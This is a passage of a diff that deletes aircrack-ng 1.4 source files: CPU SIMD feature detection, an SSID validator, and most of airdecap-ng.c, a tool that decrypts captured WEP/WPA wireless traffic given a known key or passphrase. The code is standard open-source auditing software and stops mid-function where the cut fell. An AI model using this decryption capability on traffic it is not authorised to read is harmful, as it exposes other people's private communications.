-#define SIMD_SUPPORTS_NEON (1 << 5)
-#define SIMD_SUPPORTS_ASIMD (1 << 6)
-#define SIMD_SUPPORTS_ALTIVEC (1 << 7)
-#define SIMD_SUPPORTS_POWER8 (1 << 8)
-#define SIMD_SUPPORTS_AVX512F (1 << 9)
-
-void simd_init(void);
-int simd_get_supported_features(void);
-void simd_destroy(void);
-
-#ifdef __cplusplus
-};
-#endif
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_arm.c Deleted

@@ -1,56 +0,0 @@
-/*
- *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#if defined(__arm__) || defined(__aarch64__)
-#ifdef HAS_AUXV
-#include <sys/auxv.h>
-#include <asm/hwcap.h>
-#endif
-#else
-#error "The wrong CPU architecture file has been included."
-#endif
-
-#include "trampoline.h"
-
-void simd_init(void) {}
-
-void simd_destroy(void) {}
-
-int simd_get_supported_features(void)
-{
-	int result = 0;
-#ifdef HAS_AUXV
-	long hwcaps = getauxval(AT_HWCAP);
-
-#if defined(HWCAP_ASIMD)
-	if (hwcaps & HWCAP_ASIMD)
-	{
-		result |= SIMD_SUPPORTS_ASIMD;
-	}
-#endif
-
-#if defined(HWCAP_NEON)
-	if (hwcaps & HWCAP_NEON)
-	{
-		result |= SIMD_SUPPORTS_NEON;
-	}
-#endif
-#endif
-
-	return (result);
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_ppc.c Deleted

@@ -1,49 +0,0 @@
-/*
- *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#if defined(__ppc__) || defined(__PPC__)
-#ifdef HAS_AUXV
-#include <sys/auxv.h>
-#include <bits/hwcap.h>
-#endif
-#else
-#error "The wrong CPU architecture file has been included."
-#endif
-
-#include "trampoline.h"
-
-void simd_init(void) {}
-
-void simd_destroy(void) {}
-
-int simd_get_supported_features(void)
-{
-	int result = 0;
-#ifdef HAS_AUXV
-	long hwcaps = getauxval(AT_HWCAP2);
-
-#if defined(PPC_FEATURE2_ARCH_2_07)
-	if (hwcaps & PPC_FEATURE2_ARCH_2_07)
-	{
-		result |= SIMD_SUPPORTS_POWER8;
-	}
-#endif
-#endif
-
-	return (result);
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_stubs.c Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline_x86.c Deleted

@@ -1,76 +0,0 @@
-/*
- *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#if defined(__i386__) || defined(__x86_64__)
-#define _X86
-#include <cpuid.h>
-#else
-#error "The wrong CPU architecture file has been included."
-#endif
-
-#include "trampoline.h"
-
-void simd_init(void) {}
-
-void simd_destroy(void) {}
-
-int simd_get_supported_features(void)
-{
-	int result = 0;
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, 0);
-
-	__cpuid(0, eax, ebx, ecx, edx);
-
-	if (eax >= 1)
-	{
-		__cpuid(1, eax, ebx, ecx, edx);
-	}
-
-	if (edx & (1 << 23))
-	{
-		result |= SIMD_SUPPORTS_MMX;
-	}
-
-	if (edx & (1 << 26))
-	{
-		result |= SIMD_SUPPORTS_SSE2;
-	}
-
-	if (ecx & (1 << 28))
-	{
-		result |= SIMD_SUPPORTS_AVX;
-	}
-
-	if (max_level >= 7)
-	{
-		__cpuid_count(7, 0, eax, ebx, ecx, edx);
-
-		if (ebx & (1 << 16))
-		{
-			result |= SIMD_SUPPORTS_AVX512F;
-		}
-
-		if (ebx & (1 << 5))
-		{
-			result |= SIMD_SUPPORTS_AVX2;
-		}
-	}
-
-	return (result);
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/verifyssid.c Deleted

@@ -1,84 +0,0 @@
-/*
- *  VerifySSID function (UTF-8 supported)
- *
- *  Copyright (C) 2018 ZhaoChunsheng
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include "verifyssid.h"
-
-int verifyssid(const unsigned char * s)
-{
-	int i;
-	unsigned char c;
-
-	if (!s || strlen((const char *) s) > 32)
-	{ // 32 characters
-		return 0;
-	}
-
-	for (i = 0; (c = s[i++]);)
-	{
-		if ((c & 0x80) == 0)
-		{ // ascii flag
-			if (c < 0x20 || c == 0x7f)
-			{
-				return 0;
-			}
-		}
-		else if ((c & 0xe0) == 0xc0)
-		{ // utf8 flag
-			if ((s[i++] & 0xc0) != 0x80)
-			{
-				return 0;
-			}
-		}
-		else if ((c & 0xf0) == 0xe0)
-		{ // utf8 flag
-			if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80)
-			{
-				return 0;
-			}
-		}
-		else if ((c & 0xf8) == 0xf0)
-		{ // utf8 flag
-			if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80
-				|| (s[i++] & 0xc0) != 0x80)
-			{
-				return 0;
-			}
-		}
-		else
-		{
-			return 0;
-		}
-	}
-	return 1;
-}

aircrack-ng-1.4.tar.gz/src/airdecap-ng.c Deleted

@@ -1,1098 +0,0 @@
-/*
- *  802.11 to Ethernet pcap translator
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005  Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <unistd.h>
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <time.h>
-#include <getopt.h>
-
-#include "version.h"
-#include "crypto.h"
-#include "pcap.h"
-#include "aircrack-osdep/byteorder.h"
-#include "aircrack-util/avl_tree.h"
-#include "aircrack-util/common.h"
-#include "aircrack-util/console.h"
-
-#define CRYPT_NONE 0
-#define CRYPT_WEP 1
-#define CRYPT_WPA 2
-
-char usage[] =
-
-	"\n"
-	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
-	"  https://www.aircrack-ng.org\n"
-	"\n"
-	"  usage: airdecap-ng [options] <pcap file>\n"
-	"\n"
-	"  Common options:\n"
-	"      -l         : don't remove the 802.11 header\n"
-	"      -b <bssid> : access point MAC address filter\n"
-	"      -e <essid> : target network SSID\n"
-	"      -o <fname> : output file for decrypted packets (default <src>-dec)\n"
-	"\n"
-	"  WEP specific option:\n"
-	"      -w <key>   : target network WEP key in hex\n"
-	"      -c <fname> : output file for corrupted WEP packets (default "
-	"<src>-bad)\n"
-	"\n"
-	"  WPA specific options:\n"
-	"      -p <pass>  : target network WPA passphrase\n"
-	"      -k <pmk>   : WPA Pairwise Master Key in hex\n"
-	"\n"
-	"      --help     : Displays this usage screen\n"
-	"\n";
-
-struct decap_stats
-{
-	unsigned long nb_stations; /* # of stations seen */
-	unsigned long nb_read; /* # of packets read       */
-	unsigned long nb_wep; /* # of WEP data packets   */
-	unsigned long nb_bad; /* # of bad data packets   */
-	unsigned long nb_wpa; /* # of WPA data packets   */
-	unsigned long nb_plain; /* # of plaintext packets  */
-	unsigned long nb_unwep; /* # of decrypted WEP pkt  */
-	unsigned long nb_unwpa; /* # of decrypted WPA pkt  */
-	unsigned long nb_failed_tkip; /* # of failed WPA TKIP pkt decryptions */
-	unsigned long nb_failed_ccmp; /* # of failed WPA CCMP pkt decryptions */
-} stats;
-
-struct options
-{
-	int no_convert;
-	char essid[36];
-	char passphrase[65];
-	unsigned char bssid[6];
-	unsigned char pmk[40];
-	unsigned char wepkey[64];
-	int weplen, crypt;
-	int store_bad;
-	char decrypted_fpath[65536];
-	char corrupted_fpath[65536];
-} opt;
-
-unsigned char buffer[65536];
-unsigned char buffer2[65536];
-
-/* this routine handles to 802.11 to Ethernet translation */
-
-static int
-write_packet(FILE * f_out, struct pcap_pkthdr * pkh, unsigned char * h80211)
-{
-	int n;
-	unsigned char arphdr[12];
-	int qosh_offset = 0;
-
-	if (opt.no_convert)
-	{
-		if (buffer != h80211) memcpy(buffer, h80211, pkh->caplen);
-	}
-	else
-	{
-		/* create the Ethernet link layer (MAC dst+src) */
-
-		switch (h80211[1] & 3)
-		{
-			case 0: /* To DS = 0, From DS = 0: DA, SA, BSSID */
-
-				memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
-				memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
-				break;
-
-			case 1: /* To DS = 1, From DS = 0: BSSID, SA, DA */
-
-				memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
-				memcpy(arphdr + 6, h80211 + 10, sizeof(arphdr) / 2);
-				break;
-
-			case 2: /* To DS = 0, From DS = 1: DA, BSSID, SA */
-
-				memcpy(arphdr + 0, h80211 + 4, sizeof(arphdr) / 2);
-				memcpy(arphdr + 6, h80211 + 16, sizeof(arphdr) / 2);
-				break;
-
-			default: /* To DS = 1, From DS = 1: RA, TA, DA, SA */
-
-				memcpy(arphdr + 0, h80211 + 16, sizeof(arphdr) / 2);
-				memcpy(arphdr + 6, h80211 + 24, sizeof(arphdr) / 2);
-				break;
-		}
-
-		/* check QoS header */
-		if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
-		{
-			qosh_offset += 2;
-		}
-
-		/* remove the 802.11 + LLC header */
-
-		if ((h80211[1] & 3) != 3)
-		{
-			pkh->len -= 24 + qosh_offset + 6;
-			pkh->caplen -= 24 + qosh_offset + 6;
-
-			/* can overlap */
-			memmove(buffer + 12, h80211 + qosh_offset + 30, pkh->caplen);
-		}
-		else
-		{
-			pkh->len -= 30 + qosh_offset + 6;
-			pkh->caplen -= 30 + qosh_offset + 6;
-
-			memmove(buffer + 12, h80211 + qosh_offset + 36, pkh->caplen);
-		}
-
-		memcpy(buffer, arphdr, 12);
-
-		pkh->len += 12;
-		pkh->caplen += 12;
-	}
-
-	n = sizeof(struct pcap_pkthdr);
-
-	if (fwrite(pkh, 1, n, f_out) != (size_t) n)
-	{
-		perror("fwrite(packet header) failed");
-		return (1);
-	}
-
-	n = pkh->caplen;
-
-	if (fwrite(buffer, 1, n, f_out) != (size_t) n)
-	{
-		perror("fwrite(packet data) failed");
-		return (1);
-	}
-
-	return (0);
-}
-
-static int station_compare(const void * a, const void * b)
-{
-	return memcmp(a, b, 6);
-}
-
-int main(int argc, char * argv[])
-{
-	time_t tt;
-	unsigned magic;
-	char *s, buf[128];
-	FILE *f_in, *f_out, *f_bad = NULL;
-	unsigned long crc;
-	int i = 0, n, linktype;
-	unsigned z;
-	unsigned char * h80211;
-	unsigned char bssid[6], stmac[6];
-
-	c_avl_tree_t * stations = c_avl_create(station_compare);
-	struct WPA_ST_info * st_cur;
-	struct pcap_file_header pfh;
-	struct pcap_pkthdr pkh;
-
-#ifdef USE_GCRYPT
-	// Disable secure memory.
-	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
-	// Tell Libgcrypt that initialization has completed.
-	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-#endif
-
-	/* parse the arguments */
-
-	memset(&opt, 0, sizeof(opt));
-
-	while (1)
-	{
-		int option_index = 0;
-
-		static struct option long_options[] = {{"bssid", 1, 0, 'b'},
-											   {"debug", 1, 0, 'd'},
-											   {"help", 0, 0, 'H'},
-											   {0, 0, 0, 0}};
-
-		int option = getopt_long(
-			argc, argv, "lb:k:e:o:p:w:c:H", long_options, &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'l':
-
-				opt.no_convert = 1;
-				break;
-
-			case 'b':
-
-				i = 0;
-				s = optarg;
-
-				while (sscanf(s, "%x", &n) == 1)
-				{
-					if (n < 0 || n > 255)
-					{
-						printf("Invalid BSSID (not a MAC).\n");
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return (1);
-					}
-
-					opt.bssid[i] = n;
-
-					if (++i >= 6) break;
-
-					if (!(s = strchr(s, ':'))) break;
-
-					s++;
-				}
-
-				if (i != 6)
-				{
-					printf("Invalid BSSID (not a MAC).\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 'k':
-
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.crypt = CRYPT_WPA;
-
-				i = 0;
-				s = optarg;
-
-				buf[0] = s[0];
-				buf[1] = s[1];
-				buf[2] = '\0';
-
-				while (sscanf(buf, "%x", &n) == 1)
-				{
-					if (n < 0 || n > 255)
-					{
-						printf("Invalid WPA PMK.\n");
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return (1);
-					}
-
-					opt.pmk[i++] = n;
-					if (i >= 32) break;
-
-					s += 2;
-
-					if (s[0] == ':' || s[0] == '-') s++;
-
-					if (s[0] == '\0' || s[1] == '\0') break;
-
-					buf[0] = s[0];
-					buf[1] = s[1];
-				}
-
-				if (i != 32)
-				{
-					printf("Invalid WPA PMK.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				break;
-
-			case 'e':
-
-				if (opt.essid[0])
-				{
-					printf("ESSID already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				memset(opt.essid, 0, sizeof(opt.essid));
-				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
-				break;
-
-			case 'o':
-
-				if (opt.decrypted_fpath[0])
-				{
-					printf(
-						"filename for decrypted packets already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				strncpy(opt.decrypted_fpath,
-						optarg,
-						sizeof(opt.decrypted_fpath) - 1);
-				break;
-
-			case 'c':
-
-				if (opt.corrupted_fpath[0])
-				{
-					printf(
-						"filename for corrupted packets already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				strncpy(opt.corrupted_fpath,
-						optarg,
-						sizeof(opt.corrupted_fpath) - 1);
-				break;
-
-			case 'p':
-
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.crypt = CRYPT_WPA;
-
-				memset(opt.passphrase, 0, sizeof(opt.passphrase));
-				strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
-				break;
-
-			case 'w':
-
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.crypt = CRYPT_WEP;
-
-				i = 0;
-				s = optarg;
-
-				buf[0] = s[0];
-				buf[1] = s[1];
-				buf[2] = '\0';
-
-				while (sscanf(buf, "%x", &n) == 1)
-				{
-					if (n < 0 || n > 255)
-					{
-						printf("Invalid WEP key.\n");
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return (1);
-					}
-
-					opt.wepkey[i++] = n;
-
-					if (i >= 64) break;
-
-					s += 2;
-
-					if (s[0] == ':' || s[0] == '-') s++;
-
-					if (s[0] == '\0' || s[1] == '\0') break;
-
-					buf[0] = s[0];
-					buf[1] = s[1];
-				}
-
-				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
-				{
-					printf("Invalid WEP key length. [5,13,16,29,61]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-
-				opt.weplen = i;
-
-				break;
-
-			case 'H':
-
-				printf(usage,
-					   getVersion("Airdecap-ng",
-								  _MAJ,
-								  _MIN,
-								  _SUB_MIN,
-								  _REVISION,
-								  _BETA,
-								  _RC));
-				return (1);
-
-			default:
-				goto usage;
-		}
-	}
-
-	if (argc - optind != 1)
-	{
-		if (argc == 1)
-		{
-		usage:
-			printf(usage,
-				   getVersion("Airdecap-ng",
-							  _MAJ,
-							  _MIN,
-							  _SUB_MIN,
-							  _REVISION,
-							  _BETA,
-							  _RC));
-		}
-		if (argc - optind == 0)
-		{
-			printf("No file to decrypt specified.\n");
-		}
-		if (argc > 1)
-		{
-			printf("\"%s --help\" for help.\n", argv[0]);
-		}
-		return (1);
-	}
-
-	if (opt.crypt == CRYPT_WPA)
-	{
-		if (opt.passphrase[0] != '\0')
-		{
-			/* compute the Pairwise Master Key */
-
-			if (opt.essid[0] == '\0')
-			{
-				printf("You must also specify the ESSID (-e).\n");
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-			}
-
-			calc_pmk(opt.passphrase, opt.essid, opt.pmk);
-		}
-	}
-
-	/* open the input and output pcap files */
-
-	if ((f_in = fopen(argv[optind], "rb")) == NULL)
-	{
-		perror("fopen failed\n");
-		printf("Could not open \"%s\".\n", argv[optind]);
-		return (1);
-	}
-
-	n = sizeof(pfh);
-
-	if (fread(&pfh, 1, n, f_in) != (size_t) n)
-	{
-		perror("fread(pcap file header) failed");
-		return (1);
-	}
-
-	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
-	{
-		printf("\"%s\" isn't a pcap file (expected "
-			   "TCPDUMP_MAGIC).\n",
-			   argv[optind]);
-		return (1);
-	}
-
-	if ((magic = pfh.magic) == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
-
-	if (pfh.linktype != LINKTYPE_IEEE802_11
-		&& pfh.linktype != LINKTYPE_PRISM_HEADER
-		&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
-		&& pfh.linktype != LINKTYPE_PPI_HDR)
-	{
-		printf("\"%s\" isn't a regular 802.11 "
-			   "(wireless) capture.\n",
-			   argv[optind]);
-		return (1);
-	}
-
-	linktype = pfh.linktype;
-
-	n = strlen(argv[optind]);
-
-	if (n > 4 && (n + 5 < (int) sizeof(buffer)) && argv[optind][n - 4] == '.')
-	{
-		memcpy(buffer, argv[optind], n - 4);
-		memcpy(buffer2, argv[optind], n - 4);
-		memcpy(buffer + n - 4, "-dec", 4);
-		memcpy(buffer2 + n - 4, "-bad", 4);
-		memcpy(buffer + n, argv[optind] + n - 4, 5);
-		memcpy(buffer2 + n, argv[optind] + n - 4, 5);
-	}
-	else
-	{
-		if (n > 5 && (n + 6 < (int) sizeof(buffer))
-			&& argv[optind][n - 5] == '.')
-		{
-			memcpy(buffer, argv[optind], n - 5);
-			memcpy(buffer2, argv[optind], n - 5);
-			memcpy(buffer + n - 5, "-dec", 4);
-			memcpy(buffer2 + n - 5, "-bad", 4);
-			memcpy(buffer + n - 1, argv[optind] + n - 5, 6);
-			memcpy(buffer2 + n - 1, argv[optind] + n - 5, 6);
-		}
-		else
-		{
-			memset(buffer, 0, sizeof(buffer));
-			memset(buffer2, 0, sizeof(buffer));
-			snprintf(
-				(char *) buffer, sizeof(buffer) - 1, "%s-dec", argv[optind]);
-			snprintf(
-				(char *) buffer2, sizeof(buffer) - 1, "%s-bad", argv[optind]);
-		}
-	}
-
-	if (opt.crypt == CRYPT_WEP && opt.no_convert == 1)
-	{
-		opt.store_bad = 1;
-	}
-
-	/* Support manually-configured output files*/
-	if (opt.decrypted_fpath[0])
-		f_out = fopen(opt.decrypted_fpath, "wb+");
-	else
-		f_out = fopen((char *) buffer, "wb+");
-
-	if (f_out == NULL)
-	{
-		perror("fopen failed");
-		printf("Could not create \"%s\".\n", buffer);
-		return (1);
-	}
-
-	if (opt.store_bad)
-	{
-		if (opt.corrupted_fpath[0])
-			f_bad = fopen(opt.corrupted_fpath, "wb+");
-		else
-			f_bad = fopen((char *) buffer2, "wb+");
-
-		if (f_bad == NULL)
-		{
-			perror("fopen failed");
-			printf("Could not create \"%s\".\n", buffer2);
-			return (1);
-		}
-	}
-
-	pfh.magic = TCPDUMP_MAGIC;
-	pfh.version_major = PCAP_VERSION_MAJOR;
-	pfh.version_minor = PCAP_VERSION_MINOR;
-	pfh.thiszone = 0;
-	pfh.sigfigs = 0;
-	pfh.snaplen = 65535;
-	pfh.linktype = (opt.no_convert) ? LINKTYPE_IEEE802_11 : LINKTYPE_ETHERNET;
-
-	n = sizeof(pfh);
-
-	if (fwrite(&pfh, 1, n, f_out) != (size_t) n)
-	{
-		perror("fwrite(pcap file header) failed");
-		return (1);
-	}
-
-	if (opt.store_bad)
-	{
-		if (fwrite(&pfh, 1, n, f_bad) != (size_t) n)
-		{
-			perror("fwrite(pcap file header) failed");
-			return (1);
-		}
-	}
-
-	/* loop reading and deciphering the packets */
-
-	memset(&stats, 0, sizeof(stats));
-	tt = time(NULL);
-
-	while (1)
-	{
-		if (time(NULL) - tt > 0)
-		{
-			/* update the status line every second */
-
-			erase_line(0);
-			printf("Read %lu packets...\r", stats.nb_read);
-			fflush(stdout);
-			tt = time(NULL);
-		}
-
-		/* read one packet */
-
-		n = sizeof(pkh);
-
-		if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
-
-		if (magic == TCPDUMP_CIGAM)
-		{
-			SWAP32(pkh.caplen);
-			SWAP32(pkh.len);
-		}
-
-		n = pkh.caplen;
-
-		if (n <= 0 || n > 65535)
-		{
-			printf("Corrupted file? Invalid packet length %d.\n", n);
-			break;
-		}
-
-		if (fread(buffer, 1, n, f_in) != (size_t) n) break;
-
-		stats.nb_read++;
-
-		h80211 = buffer;
-
-		if (linktype == LINKTYPE_PRISM_HEADER)
-		{
-			/* remove the prism header */
-
-			if (h80211[7] == 0x40)
-				n = 64; /* prism54 */
-			else
-			{
-				n = *(int *) (h80211 + 4);
-
-				if (magic == TCPDUMP_CIGAM) SWAP32(n);
-			}
-
-			if (n < 8 || n >= (int) pkh.caplen) continue;
-
-			h80211 += n;
-			pkh.caplen -= n;
-		}
-
-		if (linktype == LINKTYPE_RADIOTAP_HDR)
-		{
-			/* remove the radiotap header */
-
-			n = *(unsigned short *) (h80211 + 2);
-
-			if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-			h80211 += n;
-			pkh.caplen -= n;
-		}
-
-		if (linktype == LINKTYPE_PPI_HDR)
-		{
-			/* Remove the PPI header */
-
-			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-			if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-			/* for a while Kismet logged broken PPI headers */
-			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-				n = 32;
-
-			if (n <= 0 || n >= (int) pkh.caplen) continue;
-
-			h80211 += n;
-			pkh.caplen -= n;
-		}
-
-		/* remove the FCS if present (madwifi) */
-
-		if (check_crc_buf(h80211, pkh.caplen - 4) == 1)
-		{
-			pkh.len -= 4;
-			pkh.caplen -= 4;
-		}
-
-		/* check if data */
-
-		if ((h80211[0] & 0x0C) != 0x08) continue;
-
-		/* check minimum size */
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-
-		if (z + 16 > pkh.caplen) continue;
-
-		/* check QoS header */
-		if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
-		{
-			z += 2;
-		}
-
-		/* check the BSSID */
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				memcpy(bssid, h80211 + 16, sizeof(bssid));
-				break; // Adhoc
-			case 1:
-				memcpy(bssid, h80211 + 4, sizeof(bssid));
-				break; // ToDS
-			case 2:
-				memcpy(bssid, h80211 + 10, sizeof(bssid));
-				break; // FromDS
-			case 3:
-				memcpy(bssid, h80211 + 10, sizeof(bssid));
-				break; // WDS -> Transmitter taken as BSSID
-		}
-
-		if (memcmp(opt.bssid, ZERO, 6) != 0)
-			if (memcmp(opt.bssid, bssid, 6) != 0) continue;
-
-		/* locate the station's MAC address */
-
-		switch (h80211[1] & 3)
-		{
-			case 1:
-				memcpy(stmac, h80211 + 10, sizeof(stmac));
-				break;
-			case 2:
-				memcpy(stmac, h80211 + 4, sizeof(stmac));
-				break;
-			case 3:
-				memcpy(stmac, h80211 + 10, sizeof(stmac));
-				break;
-			default:
-				continue;
-		}
-
-		int not_found = c_avl_get(stations, stmac, (void **) &st_cur);
-
-		/* if it's a new station, add it */
-
-		if (not_found)
-		{
-			if (!(st_cur
-				  = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
-			{
-				perror("malloc failed");
-				break;
-			}
-
-			memset(st_cur, 0, sizeof(struct WPA_ST_info));
-
-			memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
-			memcpy(st_cur->bssid, bssid, sizeof(st_cur->bssid));
-			c_avl_insert(stations, st_cur->stmac, st_cur);
-			stats.nb_stations++;
-		}
-
-		/* check if we haven't already processed this packet */
-
-		crc = calc_crc_buf(h80211 + z, pkh.caplen - z);
-
-		if ((h80211[1] & 3) == 2)
-		{
-			if (st_cur->t_crc == crc) continue;
-
-			st_cur->t_crc = crc;
-		}
-		else
-		{
-			if (st_cur->f_crc == crc) continue;
-
-			st_cur->f_crc = crc;
-		}
-
-		/* check the SNAP header to see if data is encrypted *
-		 * as unencrypted data begins with AA AA 03 00 00 00 */
-
-		if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
-		{
-			/* check the extended IV flag */
-
-			if ((h80211[z + 3] & 0x20) == 0)
-			{
-				unsigned char K[64];
-
-				stats.nb_wep++;
-
-				if (opt.crypt != CRYPT_WEP) continue;
-
-				memcpy(K, h80211 + z, 3);
-				memcpy(K + 3, opt.wepkey, opt.weplen);
-
-				if (opt.store_bad) memcpy(buffer2, h80211, pkh.caplen);
-
-				if (decrypt_wep(
-						h80211 + z + 4, pkh.caplen - z - 4, K, 3 + opt.weplen)
-					== 0)
-				{
-					if (opt.store_bad)
-					{
-						stats.nb_bad++;
-						memcpy(h80211, buffer2, pkh.caplen);
-						if (write_packet(f_bad, &pkh, h80211) != 0) break;
-					}
-					continue;
-				}
-
-				/* WEP data packet was successfully decrypted, *
-				 * remove the WEP IV & ICV and write the data  */
-
-				pkh.len -= 8;
-				pkh.caplen -= 8;
-
-				memmove(h80211 + z, h80211 + z + 4, pkh.caplen - z);
-
-				stats.nb_unwep++;
-
-				h80211[1] &= 0xBF;
-
-				if (write_packet(f_out, &pkh, h80211) != 0) break;
-			}
-			else
-			{
-				stats.nb_wpa++;
-
